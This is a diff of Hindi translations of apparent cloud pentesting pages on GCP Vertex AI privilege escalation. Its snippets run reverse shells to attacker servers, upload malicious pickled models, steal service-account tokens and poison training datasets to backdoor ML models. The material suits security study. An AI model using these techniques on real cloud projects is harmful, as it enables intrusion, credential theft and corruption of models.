इस [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) के अनुसार, audience बताना आवश्यक है (वह service जहाँ आप token का उपयोग करके authenticate करना चाहते हैं) और आपको google द्वारा sign किया गया एक JWT मिलेगा जो Service Account और उस JWT के audience को दर्शाता है।
|
||||
|
||||
यदि आपके पास access है तो आप OpenIDToken निम्न के साथ generate कर सकते हैं:
|
||||
यदि आपके पास access है तो आप OpenIDToken जनरेट कर सकते हैं:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
@@ -125,14 +131,14 @@ gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
कुछ सेवाएँ जो इस प्रकार के tokens के माध्यम से authentication का समर्थन करती हैं:
|
||||
इस तरह के टोकन के माध्यम से प्रमाणीकरण का समर्थन करने वाली कुछ सेवाएँ हैं:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (यदि Google OIDC का उपयोग कर रहे हों)
|
||||
|
||||
आप उदाहरण देख सकते हैं कि एक service account की ओर से OpenID token कैसे बनाया जाए [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
+72
-71
@@ -10,17 +10,23 @@ Vertex AI के बारे में अधिक जानकारी क
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Agent Engine / Reasoning Engine post-exploitation paths जो runtime metadata service, default Vertex AI service agent, और consumer / producer / tenant resources में cross-project pivoting का उपयोग करते हैं, के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
यदि किसी लक्षित service account पर `aiplatform.customJobs.create` permission और `iam.serviceAccounts.actAs` मौजूद हों, तो attacker **उच्चाधिकरों के साथ arbitrary code निष्पादित कर सकता है**।
|
||||
यदि किसी target service account पर `aiplatform.customJobs.create` permission और `iam.serviceAccounts.actAs` मौजूद हों, तो एक attacker **उच्चाधिकारों के साथ मनमाना कोड निष्पादित कर सकता है**।
|
||||
|
||||
यह तब काम करता है जब एक custom training job बनाया जाता है जो attacker-controlled code चलाता है (या तो एक custom container या Python package)। `--service-account` flag के माध्यम से एक privileged service account निर्दिष्ट करने पर, job उस service account की permissions inherit कर लेता है। Job Google-managed infrastructure पर चलता है और GCP metadata service तक पहुँच रखता है, जिससे service account के OAuth access token को extract करना संभव हो जाता है।
|
||||
यह काम एक custom training job बनाकर होता है जो attacker-controlled code चलाता है (या तो एक custom container या Python package)। `--service-account` flag के माध्यम से एक privileged service account निर्दिष्ट करके, job उस service account के permissions inherit कर लेता है। Job Google-managed infrastructure पर चलता है और GCP metadata service तक पहुँच रखता है, जिससे service account के OAuth access token को निकाला जा सकता है।
|
||||
|
||||
**प्रभाव**: लक्ष्य service account की permissions तक पूर्ण privilege escalation।
|
||||
**Impact**: लक्ष्य service account के permissions तक पूर्ण privilege escalation।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell के साथ custom job बनाएँ</summary>
|
||||
<summary>Create custom job with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -49,7 +55,7 @@ gcloud ai custom-jobs create \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>वैकल्पिक: लॉग से token निकालें</summary>
|
||||
<summary>वैकल्पिक: लॉग्स से टोकन निकालें</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -68,14 +74,14 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
यह तकनीक Vertex AI में एक मॉडल अपलोड करके और फिर उस मॉडल का उपयोग करके endpoint deployment या batch prediction job के माध्यम से उच्चाधिकारों के साथ कोड निष्पादित करके privilege escalation हासिल करती है।
|
||||
यह तकनीक Vertex AI में एक model अपलोड करके privilege escalation हासिल करती है और फिर उस model का उपयोग करके endpoint deployment या batch prediction job के माध्यम से elevated privileges के साथ कोड execute करती है।
|
||||
|
||||
> [!NOTE]
|
||||
> इस हमला को करने के लिए आपके पास एक world readable GCS bucket होना चाहिए या मॉडल artifacts अपलोड करने के लिए एक नया bucket बनाना होगा।
|
||||
> इस हमले को करने के लिए यह ज़रूरी है कि आपके पास एक world readable GCS bucket हो या model artifacts अपलोड करने के लिए एक नया bucket बनाया जाए।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell वाले malicious pickled model को अपलोड करना</summary>
|
||||
<summary>दुर्भावनापूर्ण pickled model को reverse shell के साथ अपलोड करें</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -111,7 +117,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>मॉडल अपलोड करें जिसमें container reverse shell हो</summary>
|
||||
<summary>कंटेनर reverse shell के साथ मॉडल अपलोड करें</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -143,12 +149,12 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> दुष्ट मॉडल अपलोड करने के बाद attacker किसी के मॉडल का उपयोग करने का इंतजार कर सकता है, या endpoint deployment या batch prediction job के माध्यम से स्वयं मॉडल लॉन्च कर सकता है।
|
||||
> अपलोड करने के बाद malicious model, an attacker किसी के उस model को उपयोग करने का इंतज़ार कर सकता है, या खुद उसे endpoint deployment या batch prediction job के माध्यम से लॉन्च कर सकता है।
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
यदि आपके पास endpoints पर models create और deploy करने, या endpoint IAM policies को modify करने की permissions हैं, तो आप project में अपलोड किए गए दुष्ट मॉडलों का उपयोग करके privilege escalation हासिल कर सकते हैं। किसी पहले से अपलोड किए गए दुष्ट मॉडल को endpoint के माध्यम से trigger करने के लिए आपको बस यह करना होगा:
|
||||
यदि आपके पास models को endpoints पर create और deploy करने, या endpoint IAM policies को modify करने की permissions हैं, तो आप प्रोजेक्ट में upload किए गए malicious models का उपयोग करके privilege escalation हासिल कर सकते हैं। किसी भी पहले से upload किए गए malicious model को endpoint के माध्यम से trigger करने के लिए आपको बस निम्न करना होगा:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -173,16 +179,14 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
यदि आपके पास एक **batch prediction jobs** बनाने और उसे एक service account के साथ चलाने की अनुमति है, तो आप metadata service तक पहुँच सकते हैं। दुर्भावनापूर्ण कोड batch prediction प्रक्रिया के दौरान एक **custom prediction container** या **malicious model** से निष्पादित होता है।
|
||||
|
||||
**Note**: Batch prediction jobs केवल REST API या Python SDK के माध्यम से ही बनाए जा सकते हैं (gcloud CLI का समर्थन नहीं)।
|
||||
यदि आपके पास **batch prediction jobs** बनाने और इसे एक service account के साथ चलाने की अनुमति है, तो आप metadata service तक पहुँच सकते हैं। बैच प्रेडिक्शन प्रक्रिया के दौरान दुर्भावनापूर्ण कोड **custom prediction container** या **malicious model** से निष्पादित होता है।
|
||||
|
||||
> [!NOTE]
|
||||
> इस attack के लिए पहले एक malicious model अपलोड करना आवश्यक है (ऊपर `aiplatform.models.upload` सेक्शन देखें) या अपने reverse shell code के साथ एक custom prediction container का उपयोग करना।
|
||||
> यह हमला पहले एक malicious model अपलोड करने (ऊपर दिए गए `aiplatform.models.upload` सेक्शन को देखें) या अपनी reverse shell कोड के साथ एक custom prediction container का उपयोग करने की आवश्यकता रखता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>malicious model के साथ batch prediction job बनाएँ</summary>
|
||||
<summary>malicious model के साथ batch prediction job बनाएं</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -238,10 +242,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
यदि आपके पास **models.export** अनुमति है, तो आप मॉडल आर्टिफैक्ट्स को अपने नियंत्रण वाले GCS bucket में निर्यात कर सकते हैं, जिससे संवेदनशील प्रशिक्षण डेटा या मॉडल फ़ाइलों तक पहुँच संभव हो सकती है।
|
||||
यदि आपके पास **models.export** अनुमति है, तो आप उन मॉडल आर्टिफैक्ट्स को उस GCS bucket में निर्यात कर सकते हैं जिसे आप नियंत्रित करते हैं, और संभवतः संवेदनशील प्रशिक्षण डेटा या मॉडल फ़ाइलों तक पहुँच प्राप्त कर सकते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> इस हमले को करने के लिए आवश्यक है कि आपके पास एक सार्वजनिक रूप से पढ़ने और लिखने योग्य GCS bucket हो या मॉडल आर्टिफैक्ट्स अपलोड करने के लिए एक नया ऐसा bucket बनाना हो।
|
||||
> इस हमले को करने के लिए आवश्यक है कि आपके पास एक world-readable और writable GCS bucket हो या मॉडल आर्टिफैक्ट्स अपलोड करने के लिए एक नया बनाना होगा।
|
||||
|
||||
<details>
|
||||
|
||||
@@ -272,16 +276,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
ऐसे **ML pipeline jobs** बनाएं जो arbitrary containers के साथ कई चरणों को निष्पादित करें और reverse shell access के माध्यम से privilege escalation हासिल करें।
|
||||
ऐसे **ML pipeline jobs** बनाएं जो किसी भी कंटेनर का उपयोग करके कई चरणों को निष्पादित करते हैं और reverse shell access के जरिए privilege escalation हासिल करते हैं।
|
||||
|
||||
Pipelines विशेष रूप से privilege escalation के लिए शक्तिशाली होते हैं क्योंकि वे multi-stage attacks का समर्थन करते हैं जहाँ प्रत्येक component अलग containers और configurations का उपयोग कर सकता है।
|
||||
Pipelines privilege escalation के लिए विशेष रूप से शक्तिशाली होते हैं क्योंकि वे multi-stage attacks को सक्षम बनाते हैं जहाँ प्रत्येक component अलग-अलग containers और configurations का उपयोग कर सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> आपको pipeline root के रूप में उपयोग करने के लिए एक world writable GCS bucket चाहिए।
|
||||
> pipeline root के रूप में उपयोग करने के लिए आपको ऐसा GCS bucket चाहिए जिसे कोई भी लिख सके।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vertex AI SDK इंस्टॉल करें</summary>
|
||||
<summary>Install Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -379,16 +383,13 @@ else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
कस्टम training containers के माध्यम से उच्चाधिकारों के साथ मनमाना कोड निष्पादित करने वाले **hyperparameter tuning jobs** बनाएं।
|
||||
ऐसे **hyperparameter tuning jobs** बनाएं जो custom training containers के जरिए बढ़ी हुई विशेषाधिकार के साथ मनमाना कोड निष्पादित करते हैं।
|
||||
|
||||
Hyperparameter tuning jobs आपको अलग-अलग hyperparameter मानों वाले कई training trials को समानांतर में चलाने की अनुमति देते हैं। एक दुर्भावनापूर्ण container जिसमें reverse shell या exfiltration command हो, उसे एक privileged service account से जोड़कर, आप privilege escalation प्राप्त कर सकते हैं।
|
||||
Hyperparameter tuning jobs आपको समानांतर में कई प्रशिक्षण परीक्षण चलाने की अनुमति देते हैं, प्रत्येक में अलग hyperparameter मान होते हैं। यदि आप reverse shell या exfiltration कमांड वाला एक दुष्ट container निर्दिष्ट करके और उसे किसी privileged service account से संबद्ध कर देते हैं, तो आप privilege escalation प्राप्त कर सकते हैं।
|
||||
|
||||
**प्रभाव**: लक्ष्य service account के permissions तक पूर्ण privilege escalation।
|
||||
Impact: लक्ष्य service account के permissions तक पूर्ण privilege escalation।
|
||||
|
||||
<details>
|
||||
|
||||
@@ -433,11 +434,11 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
संवेदनशील जानकारी वाले प्रशिक्षण डेटा को exfiltrate करने के लिए **datasets** को export करें।
|
||||
Export **datasets** to exfiltrate training data that may contain sensitive information.
|
||||
|
||||
**Note**: Dataset ऑपरेशन्स के लिए REST API या Python SDK की आवश्यकता होती है (datasets के लिए gcloud CLI समर्थन नहीं है)।
|
||||
**नोट**: Dataset operations require REST API or Python SDK (no gcloud CLI support for datasets).
|
||||
|
||||
Datasets अक्सर मूल प्रशिक्षण डेटा रखते हैं, जिनमें PII, गोपनीय व्यापारिक डेटा, या अन्य संवेदनशील जानकारी हो सकती है जो production models को प्रशिक्षित करने के लिए उपयोग की गई थी।
|
||||
Datasets often contain the original training data which may include PII, confidential business data, or other sensitive information that was used to train production models.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -490,25 +491,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
मौजूदा datasets में malicious या poisoned data import करें ताकि **model training को manipulate करके backdoors introduce किए जा सकें**।
|
||||
Import malicious or poisoned data into existing datasets to **manipulate model training and introduce backdoors**.
|
||||
|
||||
**Note**: Dataset operations के लिए REST API या Python SDK आवश्यक हैं (datasets के लिए gcloud CLI support उपलब्ध नहीं है)।
|
||||
**Note**: Dataset ऑपरेशन्स के लिए REST API या Python SDK की आवश्यकता होती है (datasets के लिए gcloud CLI का सपोर्ट नहीं है)।
|
||||
|
||||
training के लिए उपयोग किए जाने वाले किसी dataset में तैयार किया गया data import करने से, एक attacker निम्न कर सकता है:
|
||||
- models में backdoors introduce करें (trigger-based misclassification)
|
||||
- Poison training data करके model के प्रदर्शन को degrade करें
|
||||
- models को information leak करने के लिए data inject करें
|
||||
- विशिष्ट inputs के लिए model के व्यवहार को manipulate करें
|
||||
By importing crafted data into a dataset used for training ML models, an attacker can:
|
||||
- मॉडल में backdoors introduce करना (trigger-based misclassification)
|
||||
- Training डेटा को poison करके मॉडल के प्रदर्शन को degrade करना
|
||||
- ऐसा डेटा inject करना जिससे मॉडल जानकारी leak कर दें
|
||||
- विशिष्ट इनपुट्स पर मॉडल के व्यवहार को manipulate करना
|
||||
|
||||
यह attack विशेष रूप से प्रभावी होता है जब उन datasets को target किया जाए जो उपयोग होते हैं:
|
||||
- Image classification (mislabeled images inject करें)
|
||||
- Text classification (biased या malicious text inject करें)
|
||||
- Object detection (bounding boxes manipulate करें)
|
||||
- Recommendation systems (fake preferences inject करें)
|
||||
This attack is particularly effective when targeting datasets used for:
|
||||
- Image classification (गलत लेबल वाली images inject करना)
|
||||
- Text classification (biased या malicious text inject करना)
|
||||
- Object detection (bounding boxes को manipulate करना)
|
||||
- Recommendation systems (fake preferences inject करना)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>dataset में poisoned data import करें</summary>
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -610,7 +611,7 @@ EOF
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लक्षित हमला विशिष्ट संस्थाओं पर</summary>
|
||||
<summary>विशिष्ट संस्थाओं पर लक्षित हमला</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
@@ -625,36 +626,36 @@ EOF
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks के गंभीर परिणाम हो सकते हैं:
|
||||
> - **Security systems**: facial recognition या anomaly detection को बायपास करना
|
||||
> - **Fraud detection**: विशेष fraud patterns को अनदेखा करने के लिए models को train करना
|
||||
> - **Content moderation**: हानिकारक content को safe के रूप में classify करवा देना
|
||||
> - **Medical AI**: महत्वपूर्ण स्वास्थ्य स्थितियों को गलत तरीके से classify करना
|
||||
> - **Autonomous systems**: safety-critical निर्णयों के लिए object detection को manipulate करना
|
||||
>
|
||||
> - **Fraud detection**: मॉडल्स को विशिष्ट fraud पैटर्न्स को अनदेखा करने के लिए train करना
|
||||
> - **Content moderation**: हानिकारक सामग्री को सुरक्षित के रूप में वर्गीकृत कर देना
|
||||
> - **Medical AI**: महत्वपूर्ण स्वास्थ्य स्थितियों का गलत वर्गीकरण
|
||||
> - **Autonomous systems**: safety-critical निर्णयों के लिए object detection को हेरफेर करना
|
||||
>
|
||||
> **प्रभाव**:
|
||||
> - Backdoored models जो विशिष्ट triggers पर गलत वर्गीकरण करते हैं
|
||||
> - मॉडल के प्रदर्शन और सटीकता में गिरावट
|
||||
> - पक्षपातपूर्ण मॉडल जो कुछ इनपुट के खिलाफ भेदभाव करते हैं
|
||||
> - मॉडल के व्यवहार के माध्यम से information leakage
|
||||
> - दीर्घकालिक स्थिरता (poisoned data पर trained मॉडल backdoor को inherit कर लेंगे)
|
||||
>
|
||||
>
|
||||
> - Specific triggers पर गलत वर्गीकरण करने वाले Backdoored models
|
||||
> - मॉडल का प्रदर्शन और सटीकता में कमी
|
||||
> - कुछ इनपुट्स के खिलाफ भेदभाव करने वाले biased मॉडल्स
|
||||
> - Information leakage through model behavior
|
||||
> - Long-term persistence (poisoned data पर train किए गए models backdoor को inherit करेंगे)
|
||||
>
|
||||
>
|
||||
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
>
|
||||
>
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API को Vertex AI Workbench Managed Notebooks के deprecated होने के हिस्से के रूप में deprecated कर दिया गया है। आधुनिक तरीका है **Vertex AI Workbench Executor** का उपयोग करना जो notebooks को `aiplatform.customJobs.create` के माध्यम से चलाता है (ऊपर पहले ही दस्तावेजीकृत)।
|
||||
> Vertex AI Workbench Executor निर्दिष्ट service account के साथ Vertex AI custom training infrastructure पर execute होने वाले notebook runs को schedule करने की अनुमति देता है। यह मौलिक रूप से `customJobs.create` का एक सुविधा-आधारित wrapper है।
|
||||
> **Notebooks के माध्यम से privilege escalation के लिए**: ऊपर दस्तावेजीकृत `aiplatform.customJobs.create` method का उपयोग करें, जो तेज़, अधिक विश्वसनीय है और Workbench Executor के समान underlying infrastructure का उपयोग करता है।
|
||||
>
|
||||
> **निम्नलिखित तकनीक केवल ऐतिहासिक संदर्भ के लिए दी गई है और नए आकलनों में उपयोग की सिफारिश नहीं की जाती।**
|
||||
>
|
||||
> ऐसे **notebook execution jobs** बनाएं जो arbitrary code के साथ Jupyter notebooks चलाते हैं।
|
||||
>
|
||||
> Notebook jobs interactive-style code execution के लिए service account के साथ आदर्श हैं, क्योंकि वे Python code cells और shell commands को सपोर्ट करते हैं।
|
||||
>
|
||||
> > **Deprecated API**: `aiplatform.notebookExecutionJobs.create` API को Vertex AI Workbench Managed Notebooks के deprecation के हिस्से के रूप में deprecated कर दिया गया है। आधुनिक तरीका **Vertex AI Workbench Executor** का उपयोग करना है, जो notebooks को `aiplatform.customJobs.create` के माध्यम से चलाता है (ऊपर पहले ही documented)।
|
||||
> > Vertex AI Workbench Executor निर्दिष्ट service account के साथ Vertex AI custom training infrastructure पर execute होने वाले notebook runs को schedule करने की अनुमति देता है। यह मूलतः `customJobs.create` के ऊपर एक सुविधा-उन्मुख wrapper है।
|
||||
> > **For privilege escalation via notebooks**: ऊपर document किए गए `aiplatform.customJobs.create` method का उपयोग करें, जो तेज़, अधिक विश्वसनीय है, और Workbench Executor के समान underlying infrastructure का उपयोग करता है।
|
||||
>
|
||||
> **निम्नलिखित तकनीक केवल ऐतिहासिक संदर्भ के लिए दी गई है और नए assessments में उपयोग के लिए सुझाई नहीं जाती।**
|
||||
>
|
||||
> ऐसे **notebook execution jobs** बनाएं जो Jupyter notebooks को arbitrary code के साथ चलाएं।
|
||||
>
|
||||
> Notebook jobs interactive-स्टाइल code execution के लिए service account के साथ आदर्श हैं, क्योंकि वे Python code cells और shell commands को सपोर्ट करते हैं।
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>दुर्भावनापूर्ण notebook फ़ाइल बनाएं</summary>
|
||||
>
|
||||
> <summary>दुष्ट notebook फ़ाइल बनाएं</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
@@ -681,7 +682,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>लक्षित service account के साथ notebook चलाएँ</summary>
|
||||
<summary>लक्षित service account के साथ नोटबुक निष्पादित करें</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
@@ -4,101 +4,109 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) is Google Cloud's **एकीकृत मशीन लर्निंग प्लेटफ़ॉर्म** जो बड़े पैमाने पर AI मॉडल बनाने, तैनात करने और प्रबंधित करने के लिए है। यह विभिन्न AI और ML सेवाओं को एक एकीकृत प्लेटफ़ॉर्म में जोड़ता है, जिससे डेटा वैज्ञानिकों और ML इंजीनियरों को सक्षम बनता है:
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) Google Cloud का एक unified machine learning प्लेटफ़ॉर्म है जो बड़े पैमाने पर AI मॉडल बनाने, तैनात करने, और प्रबंधित करने के लिए बनाया गया है। यह विभिन्न AI और ML सेवाओं को एक एकीकृत प्लेटफ़ॉर्म में जोड़ता है, जिससे डेटा वैज्ञानिकों और ML इंजीनियरों को सक्षम बनाता है कि वे:
|
||||
|
||||
- **कस्टम मॉडल प्रशिक्षित करें** AutoML या कस्टम ट्रेनिंग का उपयोग करके
|
||||
- **मॉडल तैनात करें** स्केलेबल एंडपॉइंट्स पर पूर्वानुमान के लिए
|
||||
- **ML लाइफसाइकल प्रबंधित करें** प्रयोग से लेकर प्रोडक्शन तक
|
||||
- **Model Garden से प्री-ट्रेंड मॉडल एक्सेस करें**
|
||||
- **मॉडल प्रदर्शन मॉनिटर और ऑप्टिमाइज़ करें**
|
||||
- **कस्टम मॉडल प्रशिक्षित करें** AutoML या कस्टम प्रशिक्षण का उपयोग करके
|
||||
- **मॉडल तैनात करें** स्केलेबल endpoints पर अनुमान (predictions) के लिए
|
||||
- **ML लाइफसाइकल प्रबंधित करें** experimentation से लेकर production तक
|
||||
- **Pre-trained मॉडल एक्सेस करें** Model Garden से
|
||||
- **मॉडल प्रदर्शन की निगरानी और अनुकूलन करें**
|
||||
|
||||
### मुख्य घटक
|
||||
### Agent Engine / Reasoning Engine
|
||||
|
||||
Agent Engine / Reasoning Engine से संबंधित विशिष्ट enumeration और post-exploitation रास्तों के लिए जो metadata credential theft, P4SA abuse, और producer/tenant project pivoting को शामिल करते हैं, देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Key Components
|
||||
|
||||
#### Models
|
||||
|
||||
Vertex AI **models** प्रशिक्षित मशीन लर्निंग मॉडल का प्रतिनिधित्व करते हैं जिन्हें predictions सर्व करने के लिए endpoints पर तैनात किया जा सकता है। Models हो सकते हैं:
|
||||
Vertex AI के models प्रशिक्षित मशीन लर्निंग मॉडल का प्रतिनिधित्व करते हैं जिन्हें endpoints पर तैनात करके predictions परोसे जा सकते हैं। Models हो सकते हैं:
|
||||
|
||||
- **Uploaded** कस्टम कंटेनरों या मॉडल आर्टिफैक्ट्स से
|
||||
- **AutoML** ट्रेनिंग के माध्यम से बनाए गए
|
||||
- **अपलोड किए गए** कस्टम कंटेनरों या model artifacts से
|
||||
- **AutoML** प्रशिक्षण के माध्यम से बनाए गए
|
||||
- **Model Garden** (pre-trained models) से इम्पोर्ट किए गए
|
||||
- **Versioned** एक मॉडल के कई वर्शन के साथ
|
||||
- **वर्ज़न्ड** — प्रति मॉडल कई versions हो सकते हैं
|
||||
|
||||
प्रत्येक मॉडल के पास मेटाडेटा होता है जिसमें उसका framework, container image URI, artifact स्थान, और serving configuration शामिल होते हैं।
|
||||
प्रत्येक model के पास metadata होता है जिसमें उसका framework, container image URI, artifact location, और serving configuration शामिल होते हैं।
|
||||
|
||||
#### Endpoints
|
||||
|
||||
**Endpoints** वे रिसोर्सेस हैं जो तैनात मॉडल होस्ट करते हैं और ऑनलाइन predictions सर्व करते हैं। प्रमुख विशेषताएँ:
|
||||
Endpoints वे संसाधन हैं जो तैनात किए गए models को होस्ट करते हैं और ऑनलाइन predictions सेवा प्रदान करते हैं। प्रमुख विशेषताएँ:
|
||||
|
||||
- कई **deployed models** होस्ट कर सकते हैं (traffic splitting के साथ)
|
||||
- रियल-टाइम predictions के लिए **HTTPS endpoints** प्रदान करते हैं
|
||||
- ट्रैफ़िक के आधार पर **autoscaling** सपोर्ट करते हैं
|
||||
- **private** या **public** एक्सेस उपयोग कर सकते हैं
|
||||
- ट्रैफ़िक स्प्लिटिंग के माध्यम से **A/B testing** का समर्थन
|
||||
- एक Endpoint पर कई deployed models हो सकते हैं (traffic splitting के साथ)
|
||||
- रीयल-टाइम predictions के लिए HTTPS endpoints प्रदान करते हैं
|
||||
- ट्रैफ़िक के आधार पर autoscaling समर्थित है
|
||||
- private या public access का विकल्प
|
||||
- traffic splitting के जरिए A/B testing का समर्थन
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs** आपको अपने कस्टम कंटेनरों या Python पैकेजेस का उपयोग करके कस्टम ट्रेनिंग कोड चलाने की अनुमति देते हैं। सुविधाएँ शामिल हैं:
|
||||
Custom jobs आपको अपने स्वयं के containers या Python पैकेज का उपयोग करके कस्टम प्रशिक्षण कोड चलाने देते हैं। विशेषताओं में शामिल हैं:
|
||||
|
||||
- कई worker pools के साथ **distributed training** का समर्थन
|
||||
- कॉन्फ़िगर करने योग्य **machine types** और **accelerators** (GPUs/TPUs)
|
||||
- अन्य GCP रिसोर्सेस तक पहुँच के लिए **Service account** संलग्न करने का विकल्प
|
||||
- विज़ुअलाइज़ेशन के लिए **Vertex AI Tensorboard** के साथ इंटीग्रेशन
|
||||
- **VPC connectivity** विकल्प
|
||||
- कई worker pools के साथ distributed training का समर्थन
|
||||
- कॉन्फ़िगर करने योग्य machine types और accelerators (GPUs/TPUs)
|
||||
- अन्य GCP संसाधनों तक पहुंच के लिए service account को अटैच करने का विकल्प
|
||||
- विज़ुअलाइज़ेशन के लिए Vertex AI Tensorboard के साथ एकीकरण
|
||||
- VPC connectivity विकल्प
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
ये जॉब्स स्वचालित रूप से विभिन्न पैरामीटर संयोजनों के साथ कई ट्रेनिंग ट्रायल चलाकर **optimal hyperparameters खोजते हैं**।
|
||||
ये जॉब्स स्वचालित रूप से optimal hyperparameters खोजते हैं, विभिन्न parameter combinations के साथ कई training trials चलाकर।
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** प्रदान करता है:
|
||||
Model Garden से पहुँच उपलब्ध है:
|
||||
|
||||
- प्री-ट्रेंड Google मॉडल
|
||||
- ओपन-सोर्स मॉडल (including Hugging Face)
|
||||
- थर्ड-पार्टी मॉडल
|
||||
- वन-क्लिक तैनाती की क्षमताएँ
|
||||
- Google के pre-trained models
|
||||
- Open-source models (including Hugging Face)
|
||||
- थर्ड-पार्टी models
|
||||
- एक-क्लिक deployment क्षमताएँ
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards** ML प्रयोगों के लिए विज़ुअलाइज़ेशन और मॉनिटरिंग प्रदान करते हैं, जिनमें मेट्रिक्स, मॉडल ग्राफ और ट्रेनिंग प्रोग्रेस ट्रैक करना शामिल है।
|
||||
Tensorboards ML प्रयोगों के लिए विज़ुअलाइज़ेशन और मॉनिटरिंग प्रदान करते हैं, जिसमें metrics, model graphs, और training progress ट्रैक होते हैं।
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
